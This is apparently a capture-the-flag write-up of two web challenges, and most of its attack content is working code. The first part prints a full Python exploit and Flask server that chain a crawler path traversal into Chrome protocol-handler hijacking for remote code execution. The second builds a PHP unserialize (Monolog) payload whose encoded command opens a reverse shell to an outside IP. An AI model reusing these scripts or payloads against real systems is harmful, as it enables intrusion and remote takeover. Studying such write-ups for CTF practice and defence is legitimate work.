Wannagame Championship 2025
Pwn the Padoru
The crawl functionality can be used on the website, which crawls entire websites and saves them as static files. However, the code does not check properly for path traversal which allows us to write atrbitrary files to the server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
function relaxedRelativePath(rawPath) {
if (!rawPath) {
return '';
}
const trimmed = rawPath.replace(/^\/+/, '');
try {
return decodeURIComponent(trimmed);
} catch {
return trimmed;
}
}
/* cut down for brevity */
await fs.emptyDir(crawlRoot);
const pageResponse = await fetch(inspectedUrl.toString(), {
signal: AbortSignal?.timeout ? AbortSignal.timeout(12000) : undefined
});
const rawHtml = await pageResponse.text();
if (!looksLikeText(Buffer.from(rawHtml))) {
return res.status(400).json({ message: 'Fetched content does not appear to be text/HTML.' });
}
const root = parse(rawHtml);
const resources = new Map();
root.querySelectorAll('img, script, link[rel="stylesheet"]').forEach((element) => {
const candidate = element.getAttribute('src') || element.getAttribute('href');
if (!candidate) {
return;
}
try {
const assetUrl = new URL(candidate, inspectedUrl.toString());
if (/^https?:$/.test(assetUrl.protocol)) {
resources.set(assetUrl.toString(), candidate);
}
} catch {
/* ignore */
}
});
const downloaded = [];
for (const [absoluteUrl, candidate] of resources) {
try {
const assetUrl = new URL(absoluteUrl);
if (!/^https?:$/.test(assetUrl.protocol)) continue;
const Path = filePath(candidate);
const derivedRelative = relaxedRelativePath(Path);
const destinationPath = path.join(crawlRoot, derivedRelative);
await fs.ensureDir(path.dirname(destinationPath));
const controller = AbortSignal?.timeout ? AbortSignal.timeout(7000) : undefined;
const response = await fetch(absoluteUrl, { signal: controller });
const buffer = Buffer.from(await response.arrayBuffer());
if (!looksLikeText(buffer)){
console.warn(`Skipping non-text asset for legacy fetch crawler`);
continue;
}
await fs.writeFile(destinationPath, buffer);
/* cut down for brevity */
So the code in relaxedRelativePath seems to just decode the URL encoded string and then use it as a path. But instead of returning error or skipping it when failed to decode, it just returns the raw string. So we can use path traversal here by adding some invalid percent-encoding in the URL.
So we can write attrbitrary files to the server. The next question is where can we write to get code execution? The server only allows us to write in /tmp and no other directories.
The only way now is to abuse a feature of the Chrome browser to get RCE. If you see in the screenshot function of the challenge, I set headless to false and I also create a virtual display using Xvfb to run Chrome in.
1
2
3
4
5
6
browser = await puppeteer.launch({
userDataDir: profileDir,
executablePath: process.env.CHROME_BIN || process.env.PUPPETEER_EXEC_PATH || '/usr/bin/google-chrome',
headless: false,
args: ['--no-sandbox', '--disable-setuid-sandbox', `--user-data-dir=${profileDir}`]
});
With that, we can abuse xdg-open feature of Linux desktop environments. If we write a new custom protocol handler via a .desktop file, Chrome will happily execute whatever we point it to when it sees a URL with that scheme.
So the final steps are:
- Write to /tmp/.config/mimeapps.list to register our custom protocol handler
- Write to /tmp/.local/share/applications/mimeinfo.cache to point to our .desktop file (this is important as without this Chrome will not execute it)
- Write to /tmp/.local/share/applications/test.desktop to define our custom protocol handler that executes a command
- Write to /tmp/test.sh (or whatever you want) which contains the command we want to execute
- Overwrite the Default/Preferences file of Chrome to allow launching external protocols without prompt
- Overwrite the Local State file to bypass checking if the profile is managed
- Finally, visit the URL with our custom protocol to get RCE
Here is the exploit script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests, time, base64
import jwt
URL = "http://challenge.cnsc.com.vn:30802"
SERVER = "http://server:1828"
CRAWL_SERVER = "https://redacted.requestrepo.com/"
USERNAME = "test1234"
PASSWORD = "test1234"
USER_DIR = None
session = requests.Session()
def register(username, password):
data = {
"username": username,
"password": password
}
r = session.post(f"{URL}/register", json=data)
return r.json()
def login(username, password):
global USER_DIR
data = {
"username": username,
"password": password
}
r = session.post(f"{URL}/login", json=data)
token = r.cookies.get("anicrawl_token")
decoded_token = jwt.decode(token, options={"verify_signature": False})
USER_DIR = decoded_token.get("user_dir")
return r.json()
def fetch_craw():
data = {
"url": f"{SERVER}/1"
}
data = session.post(f"{URL}/fetch-crawl", json=data)
print(data.text)
time.sleep(1)
data = {
"url": f"{SERVER}/2"
}
session.post(f"{URL}/fetch-crawl", json=data)
def crawl(url):
data = {
"url": url
}
session.post(f"{URL}/screenshot", json=data)
def exploit():
register(USERNAME, PASSWORD)
login(USERNAME, PASSWORD)
print("User dir:", USER_DIR)
input("Press enter to continue...")
crawl("http://localhost:3000")
fetch_craw()
crawl(CRAWL_SERVER)
if __name__ == "__main__":
exploit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from flask import Flask, Response, Blueprint
from pathlib import Path
app = Flask(__name__)
USER_DIR = input("Enter user dir: ").strip()
bp = Blueprint('main', __name__, url_prefix=f'/tmp/{USER_DIR}/profiles/screenshot')
@app.get("/1")
def idx2():
return """
<!DOCTYPE html>
<html>
<script src="/%25E0%25A4%25A/test"></script>
</html>
""".strip()
@app.get("/2")
def idx():
return f"""
<!DOCTYPE html>
<html>
<script src="/%E0%A4%A/../../../../tmp/.config/mimeapps.list"></script>
<script src="/%E0%A4%A/../../../../tmp/.local/share/applications/mimeinfo.cache"></script>
<script src="/%E0%A4%A/../../../../tmp/.local/share/applications/test.desktop"></script>
<script src="/%E0%A4%A/../../../../tmp/test.sh"></script>
<script src="/%E0%A4%A/../../../../tmp/{USER_DIR}/profiles/screenshot/Default/Preferences"></script>
<script src="/%E0%A4%A/../../../../tmp/{USER_DIR}/profiles/screenshot/Local State"></script>
</html>
""".strip()
@app.get("/tmp/test.sh")
def testsh():
content = f"""your payload""".encode()
r = Response(content)
return r
@bp.get("/Local State")
def LocalState():
content = open("Local State", "rb").read()
r = Response(content)
return r
@bp.get("/Default/Preferences")
def Preferences():
content = open("Preferences","rb").read()
r = Response(content)
return r
@app.get("/tmp/.config/mimeapps.list")
def mimeapps():
content = f"""[Default Applications]
x-scheme-handler/test=test.desktop
""".encode()
r = Response(content)
return r
@app.get("/tmp/.local/share/applications/mimeinfo.cache")
def mimeinfo():
content = f"""[MIME Cache]
x-scheme-handler/test=test.desktop;
""".encode()
r = Response(content)
return r
@app.get("/tmp/.local/share/applications/test.desktop")
def test():
content = f"""[Desktop Entry]
Name=Test Protocol
Comment=Handle test:// links
Exec=bash /tmp/test.sh
Type=Application
NoDisplay=true
MimeType=x-scheme-handler/test;
""".encode()
r = Response(content)
return r
app.register_blueprint(bp)
app.run("0.0.0.0", port=1828, debug=True)
This is the PoC for this https://github.com/anzuukino/PwnThePadoru-Poc
And in the visit url part, we just visit test://anything to trigger the execution.
When visiting that URL, the server receives the flag!
Flag: W1{H45hlR3_5OrI_yO-k4z3-N0_y0U-N1_7zUKlMlhAR4-w0_PAd0ru_P4dORu-m3rry_christmas_hohoho_plz_dm_@yuu_2802_wh3n_y0u_f1nd_fl4g0}
To Me, The One Who Loved You
At this challenge, the most important part is the encrypt and decrypt part using AESDriver of Hyperf framework. The key point is that:
- By default, if decrypt function didn’t pass anything to the second parameter, it will automatically unserialize the decrypted data.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function decrypt(string $payload, $unserialize = true)
{
$payload = $this->getJsonPayload($payload);
$iv = base64_decode($payload['iv']);
// Here we will decrypt the value. If we are able to successfully decrypt it
// we will then unserialize it and return it out to the caller. If we are
// unable to decrypt this value we will throw out an exception message.
$decrypted = \openssl_decrypt(
$payload['value'],
$this->cipher,
$this->key,
0,
$iv
);
if ($decrypted === false) {
throw new DecryptException('Could not decrypt the data.');
}
return $unserialize ? unserialize($decrypted) : $decrypted;
}
So we can use PHP unserialize to achieve RCE. The gadget chain here is using Monolog chain. It’s aleready in phpggc so we can just use it directly.
After obtaining RCE, we can read the secret key from /secret and then interact with the database to retrieve the encrypted message.
Here is the exploit script:
Gen php unserialize payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import json
import base64
import hmac
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
from urllib.parse import urlencode
BENIGN_PAYLOAD = b'O:28:"Monolog\Handler\GroupHandler":1:{s:8:"handlers";a:1:{i:0;O:29:"Monolog\Handler\BufferHandler":6:{s:7:"handler";r:3;s:10:"bufferSize";i:1;s:11:"bufferLimit";i:0;s:6:"buffer";a:1:{i:0;O:17:"Monolog\LogRecord":2:{s:5:"level";E:19:"Monolog\Level:Debug";s:9:"formatted";s:84:"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOC4xNDEuMTA2LjIyNC8xODMyMiAwPiYx | base64 -d | bash";}}s:11:"initialized";b:1;s:10:"processors";a:3:{i:0;s:15:"get_object_vars";i:1;s:3:"end";i:2;s:6:"system";}}}}'
def generate_final_blob(raw_payload_bytes):
key = "0123456789abcdef0123456789abcdef".encode('utf-8')
iv = base64.b64decode("2jWxKhRG75UU9tNl0hnFzg==")
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted_bytes = cipher.encrypt(pad(raw_payload_bytes, AES.block_size))
iv_b64 = base64.b64encode(iv).decode('utf-8')
value_b64 = base64.b64encode(encrypted_bytes).decode('utf-8')
mac_input = (iv_b64 + value_b64).encode('utf-8')
mac = hmac.new(key, mac_input, hashlib.sha256).hexdigest()
payload_dict = {"iv": iv_b64, "value": value_b64, "mac": mac}
json_payload = json.dumps(payload_dict)
return base64.b64encode(json_payload.encode('utf-8')).decode('utf-8')
benign_blob = generate_final_blob(BENIGN_PAYLOAD)
print(benign_blob)
Then decrypt that in the server to get RCE
After that, read the secret key from /secret and retrieve the encrypted message from the database to decrypt it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$payloadB64 = "eyJhbGciOiJBRVMtR0NNIiwic2FsdCI6ImE4RlAwVHgzM2NyUnhnVFwvdmxmZXNnPT0iLCJpdiI6ImYzZHRtQmd1TFA3VXd1ZXQiLCJjdCI6ImxpM2k0eFhIWm9YeHI5Q29oT2lTMmFKaG5UWEpwYmRVR2xRdW5EUHJ3bVJpekxLTXNiNHEySGh0Y3NLdjlWc0U0Q2xTc0E1THV0bzlcL1J5N2wxdkVvTkpFRWRvWFM1YWJSVmZkZXBSbmVLNXZXWHJnUkpocTZVTDdOaVFUd1RcL01yN20xQysyMDRsVk1wUnpXbktFWHNWdmJQR05RMmJBSWR1cUFENnE3UVFyeEZcL1BFcHFEVklZNDF1SWdmMHRIcDh2R1ZJT1k4MHMxR0oxellqZGxQZTI1T0FxUU9VOTdZalF3N2hBdzBxcWk3QllkSk93ZFwvcUdLeXI5dDNXK282Y25MakF1Zmx6alg0TTN4b0cyeE1EWmp5VlhhbG5FblJvdUJUcjhHcXROXC9ia2k3YUw1aUJMaktoT0NOTDczTGk4YWt4UTVQQWlJbEwyMDhSYlppXC9Nb2pzMEVka3VLNDk5Sk1UVDBVNCtMV013TDVmQTdidDVJNGxOXC9lZEFleCtaMkl3bU8wMHRmVG5RZHp4aTRnWjZIN2pWUDV3ODYybSt4UnBzQnlDaTVDS2RIeTl0QWtnRGFcL3YxTFFwcEtRU1pSN0NkRmpxbzBFVXNCZjhYVzNKUllMZXR2RW9LSGp3SHZMUlhXU3J4dGRmRGFDUG5FcThHVVFuVExjODRcLzF3NDNwRlgzR1N1alJcLzJxbTdJWUZFMG9RSjROa0x6ZWdLdzN4cFRSTFl2UVVMSzdncDlGXC9sc1NtcmVoODFYTFBoVlVTQmRXRnE5TEgyNHV1YUExVmJcL1JNa2FmRnpnTUV5bUYyNmoyeVBBdFlFbkVNNVB3QjZuaG5Va2o2d1wvRWxkaGtvSDQxWEc0bWQ0bWNNYU1WQ0VwUGh1ajBseFwvSjNibStuMHNNQ3lIbDNnUVF2Z0lWdXBtOFM0WVErdytJQW1GM0YyOTl2c1MyNk1BMmJaQ2kyWVhBQXhsbnRFTjdPZjd3K21Sc09FVTBZOGxBRlo1REMwQVllYndIUVV1VzJXNjRFNkowT0JPeXpiZlBHVmVHVktrT2RMYWtkdHp4eWI5NEtwQzVyS2FvTUtBVWRFSDdsaEpzTHlRTmxQM1wvQnJvRUpldGw3WXFvb3dXcHZXVXFrPSJ9";
$secret = "da2bb6bf978f79c7349068f867bd05e9c39a912e3f303ee5";
function decryptClientStyle(string $payloadB64, string $secret): string {
$data = json_decode(base64_decode($payloadB64), true);
$salt = base64_decode($data['salt']);
$iv = base64_decode($data['iv']);
$ct = base64_decode($data['ct']);
$tag = substr($ct, -16);
$ciphertext = substr($ct, 0, -16);
$key = hash_pbkdf2('sha256', $secret, $salt, 100000, 32, true);
$plain = openssl_decrypt($ciphertext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $iv, $tag);
if ($plain === false) throw new RuntimeException('decrypt failed');
return $plain;
}
$plaintext = decryptClientStyle($payloadB64, $secret);
echo $plaintext . "\n";
?>
And then get the back the message
Flag: W1{83C4US3_TO-M3_A-w0R1D_W1th0uT-H3r_ln-It_w45-45_GO0d-4S-W0Rth135s_plz_dm_@yuu_2802_wh3n_y0u_f1nd_fl4g0}}

